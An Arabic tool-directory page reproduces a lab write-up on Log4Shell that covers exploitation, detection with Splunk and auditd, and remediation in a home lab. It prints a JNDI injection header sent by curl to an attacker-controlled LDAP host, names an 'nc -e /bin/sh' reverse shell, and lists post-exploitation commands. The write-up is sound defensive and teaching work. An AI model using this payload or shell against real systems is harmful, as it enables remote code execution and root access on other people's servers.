Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
log4shell-exploitation-detection — مشروع عملي يوضح استغلال ثغرة Log4Shell، وهندسة الكشف باستخدام Splunk وauditd، والمعالجة المُتحقق منها في بيئة حاويات. | Kitploit
أدوات/GitHubGitHub/kalidoulabghaly/log4shell-exploitation-detection
أمن الحاوياتتحليل الثغرات الأمنيةالاستغلالاختبار الاختراقالتعلم والتعليمالاستجابة للحوادثتحليل السجلاتمختبرات وتدريب عملي

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
kalidoulabghaly/log4shell-exploitation-detection

log4shell-exploitation-detection

مشروع عملي يوضح استغلال ثغرة Log4Shell، وهندسة الكشف باستخدام Splunk وauditd، والمعالجة المُتحقق منها في بيئة حاويات.

عرض المستودع
منذ 7س 28دلم تتم المراجعة بعد

Log4Shell (CVE-2021-44228) الاستغلال والكشف والمعالجة

مشروع أمني هجومي ودفاعي عملي يحاكي دورة الحياة الكاملة لثغرة Log4Shell: الاستغلال من جهاز افتراضي يتحكم به المهاجم، وهندسة الكشف في Splunk، والمعالجة المُتحقق منها.

لماذا هذا المشروع

معظم مشاريع المحفظة في هذا المجال تغطي اختراق SSH بالقوة الغاشمة. أردت شيئًا يُظهر مجموعة مهارات أكثر اكتمالًا: استغلال CVE حقيقي وعالي التأثير من البداية إلى النهاية، ثم الانتقال إلى الجانب الدفاعي لكشفه ومعالجته، وهي نفس دورة الحياة التي يعمل بها مهندس الأمن أو مهندس الكشف عمليًا.

البيئة

  • جهاز المهاجم: جهاز افتراضي Kali Linux (192.168.1.86)
  • الجهاز المستهدف: جهاز افتراضي Linux Mint، اسم المضيف illshot (192.168.1.85)، يعمل عليه Splunk محليًا لاستيعاب السجلات والكشف
  • التطبيق الضعيف: ghcr.io/christophetd/log4shell-vulnerable-app (Spring Boot، Log4j 2.14.1، Java 8u181) يعمل داخل حاوية Docker، مع توجيه السجلات إلى syslog الخاص بـ Mint عبر --log-driver=syslog
  • كلا الجهازين الافتراضيين مربوطان بنفس الشبكة المحلية بحيث تظل جميع حركة الهجوم مرئية لـ Splunk

سلسلة الهجوم

1. إعداد المستمع وأداة الاستغلال. تم تشغيل مستمع netcat على Kali لالتقاط اتصال الصدفة العكسية، ثم تم إطلاق أداة JNDI-Injection-Exploit مبنية ذاتيًا (مبنية من المصدر نظرًا لعدم توفر إصدارات مُجمّعة مسبقًا) لتقديم حمولة LDAP الخبيثة.

إعداد مستمع Netcat بدء تشغيل أداة استغلال JNDI إعادة تشغيل حاوية Docker

2. إرسال الاستغلال. تم تسليم الحمولة عبر ترويسة HTTP مصممة بعناية تحتوي على سلسلة بحث JNDI، مستهدفة التطبيق الضعيف على المنفذ 8080.

root@kitploit:~
curl 192.168.1.85:8080 -H 'X-Api-Version: ${jndi:ldap://192.168.1.86:1389/<payload-id>}'

إرسال استغلال curl

3. التقاط الصدفة. قام التطبيق الضعيف بتحليل الترويسة، مما أدى إلى تشغيل بحث JNDI، والوصول إلى جهاز Kali الخاص بي لجلب وتنفيذ الفئة الخبيثة، مما أسفر عن صدفة عكسية تعمل بصلاحيات root داخل الحاوية.

صدفة عكسية، وصول root

الاستطلاع بعد الاستغلال (كما قد يقوم به مهاجم حقيقي): تم تأكيد وصول root، ومراجعة متغيرات البيئة (نظيفة، بدون أسرار مسربة)، وفحص ملف jar الخاص بالتطبيق، ومراجعة /etc/passwd، والذي كشف عن مجموعة من حسابات الخدمة غير المستخدمة لصورة Alpine الأساسية، وهو مثال جيد على أثر استطلاعي مضلل لا يعكس سطح الهجوم الحقيقي.

الكشف

كشف استغلال JNDI

قام Splunk، الذي يستوعب syslog الخاص بـ Mint، بالتقاط سلسلة الهجوم الكاملة: طلب بحث JNDI الأولي، وتتبع المكدس الناتج عن NamingException و ClassCastException، وأوامر sudo docker exec المرتبطة المستخدمة للتفاعل مع الحاوية على مستوى المضيف.

تتبع مكدس JNDI وتسجيل docker exec تأكيد استغلال JNDI في Splunk

كان الاستطلاع مرئيًا أيضًا قبل الاستغلال: التقطت سجلات جدار الحماية UFW حركة فحص Nmap القادمة من Kali ضد الهدف.

تحليل مصادر حركة فحص UFW

الكشف على مستوى المضيف (auditd)

نتيجة تقنية رئيسية لهذا المشروع: الصدفة العكسية الخام nc -e /bin/sh لا تمر أبدًا بمصادقة PAM، لذا فهي لا تُنشئ أي إدخالات في auth.log ولا أي جلسة تسجيل دخول على الإطلاق. بمفردها، قد تجعل هذه الإدخالات هذا النوع من الصدف غير مرئي لتسجيل الدخول القياسي.

ومع ذلك، تشترك حاويات Docker في نواة المضيف بدلاً من تشغيل أنوية افتراضية معزولة تمامًا. هذا يعني أن كل execve (تنفيذ عملية) داخل الحاوية لا يزال مرئيًا لنظام التدقيق للمضيف. قمت بتكوين auditd على Mint لمراقبة استدعاءات نظام execve على مستوى النظام بأكمله، ووسمت القاعدة (container_exec)، وقمت بتغذية /var/log/audit/audit.log إلى Splunk كمدخل جديد.

التحقق من قاعدة auditd

إعادة تشغيل الاستغلال وتنفيذ أوامر ما بعد الاستغلال (whoami، cat /etc/passwd، ls /app، env) أكدت النظرية: التقط auditd كل أمر، بما في ذلك استدعاء الصدفة العكسية الخام nc نفسه، مع ظهور عنوان IP الخاص بالمهاجم والمنفذ مباشرة في الوسائط المسجلة.

التقاط auditd لأمر الصدفة العكسية nc

كان نشاط ما بعد الاستغلال الأوسع مرئيًا بالكامل أيضًا، حيث كان يعمل تحت /bin/busybox (صدفة الحاوية البسيطة تنفذ معظم أدوات Unix كروابط رمزية لملف ثنائي واحد BusyBox، لذا يُظهر comm القيمة busybox بينما لا يزال exe يحل المسار الكامل):

التقاط auditd لأوامر الحاوية تحت busybox بحث auditd مفلتر، تحليل حقل comm

تفصيل إضافي واحد يستحق الملاحظة: أظهر كل حدث تم التقاطه auid=4294967295 (غير معين/بدون جلسة تسجيل دخول) مقترنًا بـ uid=0 (root). هذا المزيج بحد ذاته دليل قوي على وجود صدفة غير مصادق عليها، وهي عملية تعمل بصلاحيات root كاملة ولكن بدون معرف تدقيق لتسجيل الدخول على الإطلاق، وهو بالضبط ما تتوقعه من صدفة تجاوزت المصادقة الطبيعية بالكامل.

استعلامات الكشف الرئيسية المستخدمة:

root@kitploit:~
index=main *jndi*
root@kitploit:~
index=* sourcetype=linux_audit key=container_exec exe=/bin/busybox
| table _time, exe, comm, pid, ppid, uid
| sort _time

المعالجة

تم تطبيق التخفيف الرسمي المؤقت الذي نشرته Apache و CISA قبل إصدارات Log4j المُصححة: تعطيل عمليات بحث JNDI في الرسائل عبر خاصية نظام JVM.

root@kitploit:~
docker run -d --name vuln-log4j --log-driver=syslog --log-opt tag="vuln-log4j" \
  -p 8080:8080 \
  -e JAVA_TOOL_OPTIONS="-Dlog4j2.formatMsgNoLookups=true" \
  ghcr.io/christophetd/log4shell-vulnerable-app

إعادة محاولة نفس سلسلة الاستغلال بالضبط بعد المعالجة أكدت الإصلاح: الطلب ما زال يصل ويتم تسجيله، ولكن لم يتم تقييم بحث JNDI أبدًا، لا اتصال عكسي، لا تتبع مكدس، لا صدفة.

التحقق من المعالجة، فشل الاستغلال

هذه المقارنة هي أوضح دليل على قيمة المشروع: الهجوم الأصلي ولّد سلسلة استغلال كاملة مع أكثر من 136 حدث سجل مرتبط واتصال عكسي ناجح. بعد المعالجة، يولّد الهجوم المطابق سطر سجل واحد غير ضار دون أي نشاط بحث لاحق على الإطلاق.

جدير بالملاحظة للدفاع المتعمق: محاولة الاستغلال بقيت مرئية في السجلات حتى بعد المعالجة. قيمة الكشف لا تختفي بمجرد تصحيح الثغرة، فالنظام المُصحح الذي يُساء تكوينه لاحقًا، أو حمولة متغيرة، سيظل يتم اكتشافه بواسطة نفس استعلامات الكشف المبنية هنا.

النقاط الرئيسية المستفادة

  • استغلال CVE حقيقي وعالي التأثير (Log4Shell) من البداية إلى النهاية، من تسليم الحمولة حتى صدفة عكسية تعمل
  • بناء تغطية كشف عبر طبقتين: على مستوى التطبيق/الشبكة (مطابقة سلسلة JNDI في السجلات) وعلى مستوى المضيف (مراقبة استدعاءات نظام auditd)
  • إظهار مفهوم حقيقي لأمن الحاويات: مشاركة النواة تعني أن التدقيق على مستوى المضيف يمكنه التقاط النشاط الذي يتجاوز التسجيل القائم على المصادقة بالكامل
  • تطبيق والتحقق من معالجة واقعية، مع أدلة قبل/بعد تثبت أن الإصلاح يعمل فعليًا، وليس فقط أنه تم تطبيقه
تنزيل الأداة